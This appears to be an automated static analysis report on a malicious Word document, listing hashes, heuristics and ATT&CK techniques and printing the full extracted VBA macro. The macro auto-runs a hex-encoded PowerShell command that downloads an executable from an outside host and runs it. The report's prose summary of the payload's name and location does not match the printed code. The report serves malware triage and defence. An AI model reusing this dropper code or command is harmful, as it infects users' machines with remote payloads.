Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6774e6d17b1116fc…

MALICIOUS

Office (OOXML)

55.9 KB Created: 2021-01-31 23:09:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-05-29
MD5: 45259bddb9addea6818d6a4378b86867 SHA-1: 24e411196f78213c1ba0154548285dba7f75cc43 SHA-256: 6774e6d17b1116fceafc32a090b9301331b365a1d5d90d10814904a0a0703b15
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically an AutoOpen macro, which is designed to execute automatically upon opening the document. The macro utilizes the Shell() function to invoke PowerShell, attempting to download a second-stage payload from a hardcoded URL and save it as 'payload.exe' in the public user directory. This indicates a downloader or dropper functionality.

Heuristics 7

  • ClamAV: Doc.Dropper.Generic-9823774-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Generic-9823774-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2317 bytes
SHA-256: 2867b99c389ae54b2749fbd9f553bb7f27cce8137bea15a4dd348d492785e782
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub sdf()

Local $bbq = ["tfgyrfwdexdrzsdujxzrhwslg" ,BitOr(BitAnd(13792,7199),62) ,"vlujqfxnczxicrgaxngcwswhz" ,"lvigitgjzmhwdyhnmuqhxgtqz" ,"mlydvufyuwojbsfewhhxoqttw" ,"mxblmbpnqdjvaankzrmmrtfym" ,BitAnd(BitOr(68766,3580),8726) ,"dhpzgqmailzqiqelfgcrhykmi" ,"awxhzcqsguxfsgcrzhpzmppsz" ,"wmjjfvcfcavjtovmstxokplak" ,"auqjilhyuwzpwqmxpyflirxhq" ,"zfuorfqhbdgzcafprtjhrrvur" ,BitAnd(BitRotate(BitRotate(62370)),3519) ,"zbdksusvhrplszxtfhrlkjexy" ]
Local $n = [BitNot(Int(BitOr(42390,8281))) ,"vcsvnppsvwqahvjhkjqadqgkq" ,BitAnd(BitXOR(Int(52064),7598),4046) ,"iennmvdsbixpzsnbebghqqekh" ,"wltfxbpzisnxpzwohxpfwkqjo" ,"rrmfkymfjzesxaiwagepdntfl" ,"krbgpujdyigesghwauywnvbsj" ,"xyrjpjzegzdeudhtkkvtwwddd" ,Int(BitXOR(57306,2128)) ,"uitzoxzgtccvkilfabctyvtcs" ,"aeuvzuabfhvmzozhmhnmqagvi" ,"xtkjfjcoezemhjagcokaelawu" ,"zwifmbxqqxatfqbzeoyyxyyif" ,BitRotate(Sqrt(67634)) ,"pcdujopcnylbbkyqfqnqoyfyy" ,"yvgmmwctrcgkmjyivhypgmpjt" ,"zbjbmlhajqunpjgcidwoaqwmf" ,"kjzbfcyigjhoxhfwvtauudvlc" ,BitRotate(BitXOR(17868,5978)) ,Sqrt(BitOr(23531,7985)) ,"tmlqcbwelcewapueiwgsqcpdq" ,BitAnd(BitXOR(BitAnd(1145,4736),1825),6293) ,BitNot(BitXOR(BitXOR(96062,1201),9020)) ,BitAnd(BitAnd(Int(7925),5689),2620) ,"bgwrjnzswbqtzpplkqrdratew" ]


End Sub

Sub pappp()

End Sub

Sub wazd2()
Call Shell(ChrEncode("706F7765727368656C6C2E657865202D657865637574696F6E706F6C69637920627970617373202D572048696464656E202D636F6D6D616E6420286E65772D6F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F61706F2E70616C656E632E636C75623A323039352F72662F73392E657865272C24656E763A54656D702B275C6767662E65786527293B284E65772D4F626A656374202D636F6D205368656C6C2E4170706C69636174696F6E292E5368656C6C457865637574652824656E763A54656D702B275C6767662E6578652729"))
End Sub

Function ChrEncode(str)
    Dim i
    Dim sStr
    sStr = ""
    For i = 1 To Len(str) Step 2
        sStr = sStr + Chr(CLng("&H" & Mid(str, i, 2)))
    Next
    ChrEncode = sStr
End Function

Sub autoopen()
wazd2
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 6d9010714ea7a6b4163d0d4b4d3b392ca871150fb0ebd8573d433aff09c5c853
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).